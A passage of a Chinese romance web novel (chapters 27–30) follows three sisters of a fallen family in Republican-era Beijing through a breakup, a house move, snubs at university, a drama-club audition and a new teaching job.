今时今日,白瑾瑜的家世确实是不比从前了,这一点柳世新同意。只是他心里还是爱恋不舍的,毕竟除开身家不谈,她到底是个极富魅力的美人啊! 另外一点,从前的白瑾瑜矜贵高傲得像是白天鹅一般,往往是由他来哄着让着;如今身份倒转,他真想见一见她会如何的放下身段迁就他呢。和父母僵持至今的原因,也正在于此。 至于主意,他倒是想了一个,此刻堆着笑脸看向白瑾瑜道:“母亲虽然反对我们,但到底受限于老一辈的思想,这正是我们可利用之处呀。我们现在登记结婚,当然不能成功,可要是你怀孕了呢?还能让孩子没有妈妈吗?瑾瑜,我知道这有些委屈你,可你一向是自由洒脱的人,不在意人言的,就算是为了我——” 在他说到“老一辈”时,白瑾瑜便隐隐猜到他想说什么,默默皱起了眉头。 果不其然,越听到后头越是气愤,那一声忍了许久的冷笑,终于还是从口中溢出,冷声打断道:“自由洒脱可不是蠢!柳世新,你干脆地说一句分手,我还佩服你坦诚,好过拿这么个主意来恶心我!” 由那愤怒之下生出的一股力量,硬是将双手从柳世新的手里挣脱开来。 柳世新想错了,白瑾瑜依旧是高抬着颈项的白天鹅,横眉冷对道:“为你居然说得出这一番混账话,我对你几年的感情,全数抛开了都不觉得可惜!呵!难怪老话都说,什么样的娘教养出什么样的儿子,我果然还是年轻,怎么没早看出来,你和你母亲根本也是一丘之貉!” 又说,“你做出这一副痛苦抗争的样子,把自己感动坏了吧?可惜,我要是受你一分的感动,我父亲就是托梦都要来把我骂醒!我如今最庆幸的就是没有领了你去见他,不然,我真是一辈子愧对他!” 白瑾瑜从没在外人面前流露过这样激动的情绪,如今这弹匣子似的一顿教训,连带着迎面逼来的这一股气势,直把柳世新给震慑住了。脸上半是被揭露了居心的恼羞成怒,半是明白彼此之间再无转圜之可能的懊悔错愕。 哑口无言,像吃了一场彻头彻尾的败仗。 另一边,白瑾瑜抿了一口咖啡,倒把情绪缓了过来。 在此之前,她是早已下定了分手的决心,是以柳世新的话虽然气人,回头一想,倒觉得庆幸,恨不得为自己击节鼓掌!这真叫长痛不如短痛,好在断念得早,要不然,不要说脾气性格,就连人格自尊,都要给人家踩平了! 为这一通骂,心口的郁气彻底地扫荡一空,白瑾瑜举着瓷杯子往前一送,竟然还能心平气和地露一个微笑,道:“密斯脱柳,你和令堂,都是志向高远的人,我没有别的话,只祝你们心愿成真了。” 说罢,扬着手唤来服务员,给自己那一杯咖啡会了账,柳世新几次低喊她的名字,她也不理会,径自推开了咖啡馆的玻璃大门。 店外头空气一新,太阳暖融融地悬着,树叶在微风里轻轻地摇动,像极了在和她道“恭喜”。白瑾瑜深吸一口气,仿佛自己丢开了爱情这个包袱,整个人便轻了十倍不止。随手招来街面上一辆人力车,脚下轻松地一蹬,人已坐到了软面的座椅上。 白瑾瑜的心跳微快,在这一跳一坐之间,久违地感受到了生命的活力与希望似的,情不自禁地放出一个微笑:“走,咱们去椿樟路!” 第27章 第 27 章 最终的新居,就定在了椿…… 最终的新居, 就定在了椿樟路36号一栋三层的小楼。 搬家的那一天是礼拜四,蒋牧城因为公干不能过来,便从公馆拨了几个听差相帮搬送行李。新住所已提前叫人打扫过, 等行李搬得差不多了, 白瑾瑜便带了两个妹妹慢悠悠地坐车过去。 车窗外, 街边的树木店面一溜儿地往后退, 原本应该是很适意的风景, 白瑾琪却难掩尴尬别扭,两手不停地揉着盖在腿上的纱裙子。 想一想,她如今的处境很难堪哩!陈芳藻带着她那一份财产跑了,等同于她现在就是身无分文, 靠两个姐姐接济着过活的小可怜虫, 不拘这汽车要把她带去哪里, 心里多少有一种寄人篱下之感。 事后仔细一想,没有钱真是万万不行, 可不去警察厅不报案的傻话已经对白瑾瑜说出口了, 当时信誓旦旦的, 如今要她反悔, 面子上多么过不去!只能可怜兮兮地求了求白瑾璎,还是请她在报纸上刊登一则寻人启事。 满世界去找一个决心要跑的人, 那真如同大海捞针, 也只好先从上海的报纸开始登起。照白瑾瑜的话, 那是陈芳藻最有可能去的地方了, 只是前前后后登了也有近一周的时间,始终没有人来联系,兴许她确实就没有回去上海呢? 唉,这“寄人篱下”的日子, 也不知何时是个头。 白瑾琪失落地耷拉着肩膀,偷偷瞧了一眼坐在旁边的白瑾瑜,见她百无聊赖地将目光投向窗外,也瞧不大出是个什么心情。 只是形式比人强,这可是眼下自己最大的靠山了。白瑾琪活到这么大,还真没学过怎么讨好人,扭捏着嘟了嘟嘴,没话找话似的,问:“大姐姐,咱们住的地方叫椿樟路,是因为种了许多椿树樟树吗?” 白瑾瑜扭头瞅了她一眼,对于她这莫名其妙的一问,大概也是一头雾水,很快又把头扭了回去,冷淡道:“我哪儿看得出,又不学植物学。” 她没意识到自己给了旁边的小可怜虫一个软钉子碰,白瑾琪却已然缩了回去,受惊的鹌鹑似的,战战兢兢地紧挨着车门坐着。还是坐在副手座的白瑾璎听见对话徒然中断了,光剩下一片诡异的沉默,忙不迭地扭过头打着圆场道:“是不是椿树樟树倒不知道,不过那里树木确实不少,看着是很舒服的。”才算把这一阵尴尬敷衍过去。 好在距离椿樟路并不远了,汽车又开了近一刻钟,往右手边拐进去,就能看见一小片三层楼式样的建筑群。 这片居民区闹中取静,沿街走上十来分钟就是热闹的商店区,地理位置很不坏,三层高的小楼房又很宽敞,是以住在这里的大多也是家境宽裕的体面人。又或者是由房东挂出租赁广告,把楼梯区域单独隔开,按楼层分开租给就近工作的单身职员或小家庭。 原本白公馆的听差女佣人大多都遣散了,但虞妈是把她们三个带大的老人了,是一定要留下的。此外又新雇了一个叫阿苗的丫鬟负责洗衣洒扫,一个姓吴的老妈子负责买菜烧饭,这就是全部的人员了。 虞妈跟着搬场的听差们先一步到了新家,汽车一在门口停下,她人就迎了出来,帮着拿几个随身携带的装贵重物件的小箱子。 白瑾琪本来小尾巴似的跟在两个姐姐身后,大概是见到了熟悉的虞妈,脚下踏上了实打实的木地板,又加上一楼厨房隐约传来咕嘟咕嘟热水烧开的声响,显得一切都富于日常生活的气氛。她便渐渐放松下来,用好奇的目光四处打量着。 三层楼的房子,因为厨房和电话间都在一楼,故而一楼的两间房间,一间给虞妈,一间给吴妈和阿苗住最为合适,跑腿进出都很方便。 二楼除了居中的小客厅外,另有一间盥洗室和三间房间。两间是卧房,另一间因为略小一些,只能用作书房或杂物间。三楼则是一间自带盥洗室的卧房、洗衣房和很宽敞的露台。别的住户也有把露台四面封顶,当做普通房间来用的,不过白瑾瑜从前对这一处房产也疏于打理,之前看房时觉得房间够用,留着露台晾晒衣服倒也适合,就没有再做改动。 只是三间房间怎么住,又成了一个问题。 照白瑾瑜的意思,当然是她和瑾璎住二楼,像当初在白公馆的时候,她们的房间就是正对门的,再把那间小的改成书房,那就再完美不过。至于白瑾琪,就把她赶去三楼,自由自在的没人管束,还不够她疯玩的吗? 可惜白瑾琪并不这么觉得,嘟着嘴小声地争取道:“我、我闲不住,跑出跑进得多,三楼那么高,多么累人啊。而且我脚步声又重,到时候踩得楼梯咚咚响,你们又要嫌我吵了” 这当然是原因之一,另一个没有说出来的是,本来两个姐姐的关系就更好,要是这个节骨眼上她搬去了三楼一个人住,真有种被她们俩齐齐丢开手的“发配边疆”之感。 是故无论如何,自己还是在两个姐姐之间掺和一脚为好,多少博取一点存在感,好叫自己不会被忘诸脑后。 白瑾琪可怜兮兮地低着脑袋,知道自己这样拆散人家的做法不地道,也不敢抬头看两人的脸色。 最后,还是白瑾璎让了一步:“好吧,那就我住三楼。我脚步轻,也愿意呆在屋子里,除了上班下班,大概也不常跑动。”又安抚似的拉了拉旁边的白瑾瑜,用玩笑的口气劝道,“你的工作虽然需要在外跑动,但呆在家里办公的时候也不少呀,还是我住楼上的好。瑾琪那种风风火火的性子,着急起来横冲直撞的,是有点闹人。” 那边白瑾琪还在伤春悲秋呢,心想没几天就是开学了,她记得陈姨太拿走的钱里,是含着自己四年的学费的,也不知道大姐姐还会不会让自己继续上学。她从前对读书深恶痛绝,现在倒盼望着能读书了 正想着,就听白瑾瑜轻轻啧了一声,对自己发话道:“既然房间都分好了,怎么还不去收拾东西?不是马上就要开学了吗?书包课本都整理好了吗?”这不光是同意她住在二楼,也是示意她可以继续上学了呀! 白瑾琪总算感到一阵久违的振奋,一连应了好几声,忙不迭地去搬自己的东西。 搬家事忙,于是中午便只简单下了顿饺子,不必费事,也能讨个“平安如意交好运”的彩头。 饭桌上,白瑾琪依旧保持着谨小慎微,卖乖讨巧地听两个姐姐的闲谈。话题围绕着白瑾璎前几天刚说的,在首都第三中学找了份洋文老师工作的事。 白瑾瑜对此是有点微词的,说:“你不是一直想去外交部门做翻译员吗?你是京师大学英文专业毕业生里的第一名,凭你的专业成绩,未必不能进呀,何必去当什么洋文老师?要是为了钱,那大可不必,中学老师的薪水才几个钱,你手上的房产收一收租金,也有它好几倍了。” 白瑾璎抿着嘴唇,道:“当然不是为了钱。你不晓得,外交部里人才济济,不要说首席的翻译官,就是普通的翻译员,也绝不会是刚毕业的年轻人,要么有多年的留洋经历,要么办过讲座或出过著作。” 正说到一半,听见外头一阵敲门声,虞妈抢先站起来道:“你们继续吃,我去看看。”转身往玄关处走。 白瑾璎这才接着道,“正好我大学的教授推荐了一个机会,让我协助翻译一部外文名著,尽管是协助,名字一样可以上扉页的,这就给外交部的招聘增加许多筹码了。翻译占不了全部时间,正巧中学的洋文课也不多,顺便积攒一点教学的经验,又额外有一份收入,不也很好吗?” 白瑾瑜一边细嚼慢咽一边听着,见白瑾璎很有自己的计划,也就不再说什么了。 反倒是白瑾琪一副怅怅然的样子,把瓷勺子含了一半在嘴里,心想:连二姐姐都开始自己挣钱了,家里就剩她一个人不事生产,可怎么办呢,她还只是个学生呀。 这时候,虞妈重新走进餐厅,招呼阿苗拿了一包没下锅的生饺子,出去后再回来时,手上则多了一个点心盒子。 白瑾瑜问来的是谁,笑答道:“是住在隔壁的邻居哩,说是姓余,看见咱们这一栋搬了新住户进来,就过来拜访拜访,打个招呼。倒是挺白净精神的一个小伙子。” 虞妈本来也就吃得差不多了,径自端了汤碗去厨房收拾,白瑾琪舀着碗里的饺子汤,也觉得没趣,便借口要预先看看功课,跑回房间去了。 等她一走,白瑾璎便使着眼色,刚要小声说点什么,白瑾瑜默契十足,先就压着声音道:“我晓得,以后在老三面前别提房产财产的,最好连钱也少提,免得她想起她那个狠心的妈,是不是?你刚才在桌子底下踢我那一下,我就知道了。” 白瑾璎笑着点了点头,忽而想起点什么,又劝道:“还有你,平时给小费大手大脚的习惯,也要改改了。” 这里有许多生意上的门道,要是在顶高档的饭店,不给足小费,人家是会看你不起的。繁琐的很,倒不必全讲给白瑾璎听,惹她忧虑。 白瑾瑜只是笑了一笑,说:“我有数。” 而在二楼的房间里,白瑾琪忧愁地伏在床铺上,竟前所未有地期盼着开学的日子快一点到来。至少在学校里还能见着钱瑞芝,她们从前是多么无话不谈呀,不像她如今在家里,连话也不太敢多说。 要是钱瑞芝知道了自己的境遇,一定是能感同身受的吧?唉,这多少也能给自己一点安慰了。 第28章 第 28 章 瞧,落毛的凤凰来了。…… 住在椿樟街33号的余白在大京报社上班, 他本名余佰,是个上海人,来北京当上报社记者后, 三不五时地用余白这个笔名在别家杂志发表几篇戏评影评, 久而久之, 觉得这个名字既文雅, 又富有一种国学的美感, 干脆就改叫余白了。 如他这般的,就是很典型的租房住的单身职员了。 椿樟街33号的房东同样住在这里,三口之家不需要那么大的地方,便把一楼单独僻开租赁出去, 也好多赚一份租金。 余白刚来北京那会儿, 机缘巧合租到这一块宝地, 又知道房东俩夫妻有个念寄宿学校的孩子,还暗自想入非非了一阵。他自认是个时髦有见识的男青年, 也有份体面工作, 设若这孩子是一位千金, 岂不是和他相配得很?啊呀, 那到时候还分什么你我,直接将隔断取消, 一家人住在这大房子里, 那不是美哉? 等到某一个周末才知道, 原来自己摩拳擦掌等着见的不是位千金, 而是位皮得很的少爷,这美梦自然就给戳破了。 不过余白这人八面玲珑,讲话又中听,平日里请他搬个东西寄个信, 他也很乐意帮忙,故而和房东一家相处得倒不坏,这就长久地住了下去。 而一周前的礼拜四显然不是个寻常日子,余白那天正好轮休,一清早就听见楼下响起了洋车的引擎声。这地方开洋车的人家不算少,他就这么不经意地往窗外一瞥,好家伙,这气派锃亮的大车可就停在正对门呢! 他抱着多个朋友多条路的心态,当天就去问候了一番,那户人家的太太倒很客气,还回了一包饺子,让他美美享用了一顿晚饭。 余白消息灵通,对隔壁的新住户又抱着关注,一通打听下来,发现新邻居姓白,家里竟有三位年轻漂亮的小姐哩!他当下伸手理了理头发,觉得太长了显得邋遢,还去理发厅剃短了一些。 往回走的路上,心灵便似那蝴蝶一般翩飞起来,脑海里也是浮想联翩。 可恨的是,新邻居的作息叫人摸不透,也不知在没在上班,横竖自己出门或回家的时候,竟一次也没碰上过!没过几天,这热情的劲头又消退了下去。 这一天,余白和往常一样对着镜子梳头,他的一丛刘海又给睡得乱翘,得用手沾了水压一压,再抹一点定型膏才好。 完了百无聊赖地踏出门,正想着经过早点摊子时,是吃个烧饼好还是油条好呢,眼睛无意间一抬,整个人都是精神一振——对面那户人家,正有个漂亮小姐出门来呢! 余白给施了定身咒似的,不错眼地一通打量。只见那小姐穿了上蓝下黑一套的制服,显然还是个学生,若还是读书的年纪,那就是最小的三小姐了。 再看那一头乌黑秀发在脑后梳了两条辫子,转过头时,大眼睛像沁着水的黑葡萄似的,格外精灵动人,和这圆润的桃心脸正是相得益彰,实在也是个小美人呀! 余白激动坏了,整了整领口上去就很亲切地道了声早。那三小姐起先有些吃惊,对自己打量了一眼,想不到随后就露出个甜蜜的微笑来,回了句你先生早后,轻快地跑远了。 啊呀,啊呀!这一瞬间,真像是被爱神射中了金箭,认为这爱情的春天,可算是到来了呀! 白瑾琪可没有想给人带去什么爱情的春天,不过是终于等到了开学,总算可以和同伴诉一诉心里的愁苦,怎能不觉得轻松畅快呢?出门时恰巧撞上邻居对她招呼,人家既然挺友善,那她也回个笑脸罢了。 开学的第一堂课,是全体新生都要参与的开学仪式,在清江大学的大礼堂进行。 白瑾琪摸索着自己搭了电车,她往常车接车送惯了,对于电车的站点时刻表那一套很不熟悉,哪怕提早了十分钟出门,到礼堂时还是有些晚了。好在大课也还未正式开始,她在后排随意挑了个座位,这倒方便了她往前打量,想找一找钱瑞云坐在哪儿。 她自己是教育系的,据她之前的询问,钱瑞云似乎是学财会,也不知道教室相距远不远,平时一道上的公共课多不多。 想到这里,就不得不提及恼人的一点:那个同她颇不对付的程巧书,好巧不巧也进了教育系,不光同校,还是同系!真是孽缘! 白瑾琪不大痛快地皱了皱鼻子,只是下一秒,那表情便不自然地凝在了脸上,同时雀跃的心不住地往下沉。她看见钱瑞云了,就坐在离她五排座位远的右前方,头上还戴着她送的礼物,一个精巧的蕾丝花缎面蝴蝶结,倒是很适合开学典礼这样的隆重场合。 可她旁边坐着的人,不是程巧书是谁?这还不是最紧要的,紧要的是,钱瑞云正和程巧书正有说有笑呢! 白瑾琪坐在后排看得真切,严格说来,倒像是钱瑞云笑脸相迎得更多,程巧书则是一脸矜持的神态,只时不时看向钱瑞云,勾起一点冷淡的微笑,活像是高位者偶有兴致的“赏脸”哩! 一时间,白瑾琪连校长的讲话都听不到了,只觉得两耳嗡嗡作响,胸口似有一把愤怒的火在烧着。 她也不知道自己是在对谁愤怒。气钱瑞云舍下自己“转投”程巧书?可心里又生出为好友开脱的念头:虽说钱瑞云背地里瞧程巧书不起,可好歹是中学时的同班同学,总比别个不认识的人强吧?兴许她是没有找见自己,又是在陌生的环境里,才暂且先找个老相识说说话呢? 她当然也气程巧书:什么嘛,摆出这一幅高高在上的样子,也不知有什么好得意的! 随后念头又是一转:设若钱瑞云真是在和程巧书示好,正好叫她吃吃苦头,看看她那目中无人的傲慢样子,哪一个受得了她?比较过了才知道,还是我待她更好,料想最迟午休之前,她总该来找我了! 开学仪式就在这些闪烁不断的念头之间过去了。 礼拜一的上午都是公共课,几个班级混在一个大教室里上课,白瑾琪也不知怎么的,竟有些下意识地避开程巧书。她突然意识到,如今是不大一样了,自己的父亲去世了,而程巧书的父亲反倒是升了一级,要是她们正面冲突上了,自己应当如何呢? 她突然失了底气。 越是这种时候,就越需要朋友的开解,可偏偏钱瑞云就是不来。她分明知道自己是哪一个系,可白瑾琪在课间时频频地往教室门口望,一直到上午的课都结束了,也不见那一道身影出现。 白瑾琪心里像是扎了一根刺,扰得她心烦意乱。吃午饭时,她终于受不了了,把筷子重重地按在餐盘上,发狠地想:什么钱瑞云什么程巧书,不如统统抛在脑后的好,我还有正事要做呢! 所谓正事,便是清江大学戏剧社团的招新,清江大学的戏剧社团每年都会排演剧目或是舞蹈节目,演得好的时候,还能登上首都剧院,作为公益表演为社会筹集善款呢!这在首都大学之间也是出名的,白瑾琪当初报选这里,也有这一层喜好在里头。 戏剧社团名气大,慕名而来的新生自然也多,招新面试就定在早上的大礼堂,也方便才艺展示时随时上去表演一段。 白瑾琪对于进入戏剧社,可说是十拿九稳,填申请表时便有些小小的自得,心想:到底是学校招牌的社团,除去戏剧社,恐怕也没有别的社团能借得动大礼堂了。 排在后头的几个女学生倒是醉翁之意不在酒,窸窸窣窣咬着耳朵。一个说:“你说的社长是哪一个?到时候可要指给我看。” 另一个低低地笑了两声,“哪儿需要我指,等会儿进去了,最俊俏的那个,指定就是他!我听一个学姐说,原先的社长正好是去年毕业,毕业之前,指名要他做下一任的接班人哩!” 先前的女同学兴奋道:“这样器重他,想必除了长相,他的表演功力,也是极优秀的了?他叫什么名字?” 答道:“叫做郑家树。唉,你不必急,瞧瞧这么长的队伍,我看这次新生选拔至少得办上两天,总能叫你见着他的。”两人于是又发出闷闷的一阵笑。 白瑾琪听了,只觉得这俩人为了社长来参加选拔,想来也不是什么真才实学之辈,这一类人恐怕还不在少数,自己更没有什么可担心的了。她抱着满当当的信心,翩然走进了礼堂,一进去,就看见了已然落座的钱瑞云。 骤然看见好友的脸,白瑾琪根本来不及去回想早上膈应人的那一幕,正要冲她露一个笑脸,定睛一看,才发现她又是坐在程巧书的旁边。 那笑脸怔怔地僵冷下来,心道:同样是在教育系,她晓得去找程巧书,不晓得来找我吗?原来如此,亏我还在傻乎乎地等着她来,她这根本就是背叛我了呀! 与此同时,钱瑞云显然也看见了白瑾琪,她紧接着的做派,真是白瑾琪想也想不到的——钱瑞云抬高眉梢瞥了她一眼,跟着凑近程巧书嘲笑了一句,“瞧,落毛的凤凰来了。” 她甚至没有压低声音,分明就是故意要让白瑾琪听见,不光是她,周围坐得近的学生,势必也都听见了。又因为白瑾琪久久地站着没有坐下,有越来越多的女学生把目光投向这古怪僵持着的三个人,间或有人小声地询问议论,窸窸窣窣的声音利箭一般刺向白瑾琪。 而程巧书微微抬高了下巴,如同真凤凰一般轻蔑地勾着嘴角,哼笑道:“那叫什么凤凰,落毛凤凰不如鸡,还不如一只野鸡呢。” 霎时间,白瑾琪眼眶通红,千言万语堵在胸口,可就是说不出一个字。钱瑞云和程巧书的蔑视并周围人的窃窃私语都像是个巨大的、又越收越紧的绳网,要把她围困其中,当下那一刻,除了逃跑,白瑾琪别无应对之法。 她甚至连下午的课都逃了,咬着牙,一头冲上了往家里开的电车。坐在车上,一想到钱瑞云的奚落,气得手脚都在发抖,可硬是忍耐着没在外头哭鼻子。 回去椿樟街36号的路上,居然又让她碰到了早上的邻居。呵!也不知做的什么行当,大白天还在街区里到处乱窜,还敢觍着笑脸往自己眼前凑! 白瑾琪活像只炸了毛的猫,当即露出尖牙利齿骂道:“走开点!没点眼力见儿吗?!” 那人显然被她的凶悍样子吓懵了,她也顾不上,扭头冲到家门口“砰砰”地拍门,在虞妈开门之后又冲去了客厅。直到坐到了客厅的沙发上,那股委屈才终于找到了宣泄之地似的,哇的大哭出声。 第29章 第 29 章 你为了别人轻慢你而哭,…… 话说这一天, 白瑾瑜恰巧没有出门,留在家里盘账。 才过午饭不多久,手上的算盘正是拨得劈啪作响呢, 忽听见楼下传来一阵嚎啕的哭声, 隔着书房的门板都清晰可闻。 白瑾瑜当下便觉得诧异, 心道:瑾璎隔天就要去首都第三中学点卯, 今天特意去那一片走走, 应该不会那么早回来,瑾琪那个小丫头也上学去了,还有谁会在家里大哭大闹?阿苗吗?等下了楼一察看,那个伏在沙发上嚎个不停的, 不是白瑾琪是谁? 虞妈站在沙发旁边, 两手交握着, 也是一脸苦恼地望着她,说:“这是怎么了呀?进了家门就是一个劲儿的哭, 问她怎么回事, 也不同我说。” 白瑾瑜听着她嚎哭, 只觉得脑袋里嗡嗡作响, 真有些心烦。想:这个小烦人精,不给我找点事情就不消停。先前可怜兮兮地盼着要去上学, 替她交好了学费, 结果呢?半天课还没有上满, 又逃学回家来了! 只是看她哭得那么可怜, 又不能真的放开了教训一通,白瑾瑜一手按着突突直跳的额角,直如按住自己濒临爆发的脾气,狠狠吐出一口浊气道:“这又怎么了, 小祖宗?今天早上不还高高兴兴地去学校的吗?” 白瑾琪倒是搭理她了,耸动着肩膀,从靠垫里抬起一张浸满了眼泪的小脸来,哭哭啼啼地打着噎道:“我再不去学校了钱瑞云、钱瑞云,她倒去了程巧书那一边——我恨她!” 白瑾琪从前念中学时,嘴里颠来倒去也就那几个名字,白瑾瑜对她那一堆小孩子的破事没甚兴趣,也听得记住了,当下就和脑子里的人物对上了号,嗤笑一声说:“那不是必然的吗?我早同你说过,你那个叫钱瑞云的同学不过是个一起享乐的酒肉朋友,谁有钱有势,她就哄着谁。” 她说话的口气格外的轻描淡写,倒显得恨声恨气的白瑾琪小题大做似的。 白瑾琪直直地望着她,满脸都写着委屈:“我、我这样待她!她倒好,帮着敌人来嘲笑我!”她倒抽了一口气,两串泪珠又滚了出来,“我还有什么脸面去学校我的脸面,都给她踩在脚底下了!” 说着,悲从中来一般,又捂着脸大哭起来。 白瑾瑜静静地瞅了她一眼,慢悠悠地在她旁边坐下,勾着嘴角淡淡道:“你真想清楚了吗?那个程巧书,如今不过嘲笑你家庭不如她,你一气之下把学退了,她更要嘲笑你连学历都不如她了。” 真是好戳心窝子的一句话,白瑾琪的哭声当下拔高了一截,以示为自己叫屈。 白瑾瑜使了个眼色,示意虞妈去洗一条热毛巾来,在虞妈走开后,轻轻叹了口气道:“你为了别人轻慢你而哭,也就是知道自己不该被轻慢,这就不错。这样趋炎附势的朋友,要她做什么?告诉你吧,为了我们家里失势,柳世新同样地看轻我,我也同他一刀两断了。” 白瑾琪慢了一拍,才反应过来:这可是差点要当她姐夫的人物啊,大姐姐居然和他分手了?! 再看白瑾瑜分外冷静的一张脸,真有些不敢相信,一时间连哭也忘了,瓮声瓮气地问:“你、你真不难过吗?” 白瑾瑜靠在沙发上一笑,竟难得生出了耐心,和她谈起话来:“难过又怎么样?因为你难过,他就放过你,转而来爱护你吗?你自己想一想,谁都知道待人始终如一是很可贵的,那么,她在转变嘴脸之前,难道不知道这是对你的伤害吗?她抱了伤害你的心,你还露出这副哭天抢地受伤害的样子给她看,不正是宣告了她的成功吗?这是亲者痛,仇者快。” 白瑾琪傻愣愣地听着,像是在慢慢消化这话里头的意思。 白瑾瑜看她一副呆样子,忍不住拿话再刺她一下,“你真是没心眼,姓钱的拿好听的话哄着你,你就掉进蜜罐子,把她当知己了。如今栽个小跟头也好,叫你知道什么样的朋友不能交,什么样的朋友掰干净了也不必稀罕。狐狸尾巴露得早,好歹让你知道提防,好过在更大的事情上刺你一刀。” 白瑾琪不服气地撇着嘴,但也只敢在心里嘀嘀咕咕:什么嘛,你当初不也是图那姓柳的说话好听顺着你么,这可是你自己说的。 白瑾瑜见她虽然闷声不说话,到底也没有再哭的意思,便觉得是将她说通了。正好,虞妈也拿来了拧好的热毛巾,白瑾瑜便接过来,展开在手上替她擦脸。 白瑾琪哭得眼泪鼻涕糊了一脸,被热毛巾熏着,刚吸了吸鼻子,便冒出一个小鼻涕泡,又噗的破开。 这下,连白瑾瑜都忍不住破功笑了出来,三两下把她一张小脸囫囵擦了一遍,道:“行了,既然想明白了,该上学还是得去上学,知道吗?至于人家说什么家境,也别去理会,你好歹是我白家的老三,要是觉得只能靠家境立身,也未免太看轻自己。” 当天夜里,白瑾琪在被子里翻来滚去,愈发觉得大姐姐谈起和姓柳的分开时,那云淡风轻又挂着冷笑的样子,真是潇洒痛快!她要是柳世新,可不得气个半死? 再推人及己地想想自己,可不是一样的吗?程巧书越是要我气急跳脚,我越是不能着了她的道,她打上门来,我不反抗,难道还做缩头乌龟吗?干脆大家拼一拼、斗一斗罢!至于钱瑞云,那是趋炎附势的小人,自己打心眼里瞧不上她! 于是第二天去学校时,竟是格外的精神抖擞,这其中还带着一点昂扬的斗志,在她大大方方走进大礼堂时,好几个戏剧社的成员都忍不住扭过头瞧她。 白瑾琪坐在等待面试的区域,往前排看,除了坐在第一排的几个骨干成员,程巧书俨然也坐在第二排靠边的位置,说明她已经通过了昨天的面试,是戏剧社的一员了。而钱瑞云却没有陪在旁边,那大约就是没通过。 社里的普通成员又不参与打分,不必来看入社面试。白瑾琪猜想,程巧书会在这里,别是专程来看自己出丑的吧?要是自己不来,那更称她心意了,指不定还要编排自己是特意避开她,不敢见“真佛”。 白瑾琪在心里冷哼着:太可笑了,她算什么“真佛”? 前头的舞台上,在经过了三个朗诵一个歌唱后,终于念到了白瑾琪的名字,她坦然地上了台,先就对着台下灿然地一笑,报了自己的名字。 台下第一排的一众评审之中,数正中间坐着的俊秀男子最为亮眼,他手上拿一支钢笔,不住地点着夹在木板上的名册,微笑着问道:“白瑾琪同学,你有什么符合戏剧社的才艺呢?” 白瑾琪偏头想了想,笑道:“我会的不少,钢琴朗诵,跳舞唱歌,一时倒不知道展示什么好。” 视线朝程巧书的方向望去,果然看见她发了一声冷笑,偏过头翻了个白眼,很瞧不上的样子。白瑾琪可不受她的影响,程巧书越是表现得不屑,她越是笑得甜美,就是要膈应死她。 那美男子思忖了片刻,似乎是觉得前头表演朗诵和唱歌的太多,礼堂里又没有钢琴可供使用,便说:“那末,你就跳一段舞蹈吧。” 白瑾琪也不怯场,当下就往后退开几步留出空间,舒展着张开双臂,舞动起来。 大概人真是各有长短,白瑾琪的功课不怎样,在艺术舞蹈上,却实在有几分天赋,至少每个教过她跳舞的老师,对她就没有不夸赞的。就比如现在,她也没有说自己跳的是什么舞,甚至没有音乐来衬,却能叫人看得明白,这是一只振翅欲飞的小天鹅。 白瑾琪小小的桃心脸渴望地高高抬起,背脊挺得很直,可挥动的双臂连带手腕却极其柔软,起初还带着颤动,预示着这只天鹅的过分稚嫩与弱小。好几次,她伸展着臂膀向上仰,眼看就要跃起,却又徒然地落下,把观众们的心都捏紧了。 直到最后一次,她手臂的挥动更稳更有力了,伴随着脚下一个大跳,天鹅终于飞了起来! 白瑾琪在跳跃之后稳稳地落地,转身面向前方行了个弯腰礼,那意思是她的表演结束了。 一下子,台下不少人都鼓起掌来,坐在美男子旁边的一位女同学(无疑也是骨干成员)更是激动地站了起来,赞道:“太好了,太好了!我总觉得,我们往年的剧目太注重台词,其实肢体的语言,也是戏剧不可缺少的一部分呀!白同学,你正是社里需要的人才!” 她成功加入戏剧社,无疑已是板上钉钉的事了。 白瑾琪挂着甜滋滋的微笑道了声谢,再去看第二排的程巧书:哈!刚刚还是一副倨傲的样子呢,如今狠狠地咬着嘴唇,一双瞪着她的眼睛能冒出火星似的,脸都给气白了!似乎再也不能忍受看白瑾琪受追捧,一下从座位上站起来,作势要走。 她的本意,大概是想转移众人的注意,可惜程巧书自己也是个新成员,没人认识她,自然就没人询问挽留她,一时间竟僵立在原地。再没事人似的坐下,她实在做不出,只好忿忿地跺一下脚,黯然退场。 白瑾琪的心里简直要打起鼓来! 旗开得胜,今天可算是她这几个月来,最畅快的一天了! 第30章 第 30 章 赶着去哪里?我跟着你开…… 话分两头, 需要去学校报到的,除了白瑾琪,白瑾璎也算一个。 她要就职的首都第三中学当然不能和她从小念的新西式学堂相提并论, 虽算不上顶尖, 但也绝不坏。如今许多中学都还不设有洋文课呢, 它能配备多名外文老师, 已然可以跻身“先进”之流了。据她所知, 只是因为教高年级的一名老师前不久因个人原因辞去了工作,才有她顶上空缺的机会。 白瑾璎到达学校时,是由校长与另一位洋文老师亲自接待的。 校长姓秦,是一位少见的女校长, 据说从前还在教会学校担任过教务主任, 后经由教育部调任至第三中学任正校长。秦女士五十多的年纪, 身形高瘦,神采却很奕奕, 架着一副细边的眼镜, 头发一丝不苟地梳在脑后, 很可以看出教会学校留下的那种严谨干练的影子。 旁边的洋文老师姓缪, 也不失为一位俊秀洋气的男子,只是神态里似乎总带着一点倨傲, 也不知是不是自己的错觉。 在秦校长介绍过学校的大致情况与几点重大校规后, 便由二人带着白瑾璎先去教师办公室。路上, 秦女士略提了一句早前辞职的陈老师, 让白瑾璎先用她的座位,一旁的缪老师就酸溜溜地开口了。 “陈老师真够潇洒,甩下这片烂摊子不管,自己倒是找了个浙江老板, 嫁人享福去了。”他不屑似的撇了撇嘴,“现在的老板,都开始推崇懂知识的女性了,她挂着个中学洋文老师的好招牌,也不想想学校培养她,也是费了很大劲儿的。” 他转头看向白瑾璎时,倒是露出很亲和的笑脸,道:“所以白小姐能来,真是很救我们的急。而且我看白小姐是很有修养的样子,绝不至于干出拿学校当跳板的事吧?” 白瑾璎一时呆愣住了,觉得这缪老师说话不光阴阳怪气,逻辑也有些古怪之处:我要结婚就结婚,怎么就是拿学校当跳板呢?反过来说,难道我来学校任教了,就不能够结婚了吗?不然就有利用学校头衔之嫌疑?这是什么道理? 她从前总觉得,洋文学得好的人,受外国开放风气之熏陶,心胸大多是很开阔的。见了眼前这一位,到底还是把这一想法给否定了,可见还是因人而异这话最有道理。 在她纠结着说不出话的几秒钟里,倒是走在前面的秦女士半开玩笑地接了一句:“照这样说,小缪你怎么不跳一个?如今的社会,有钱有势的女老板不少啊。你要是真能用好这‘跳板’,横竖我不会说你丢一地烂摊子的。” 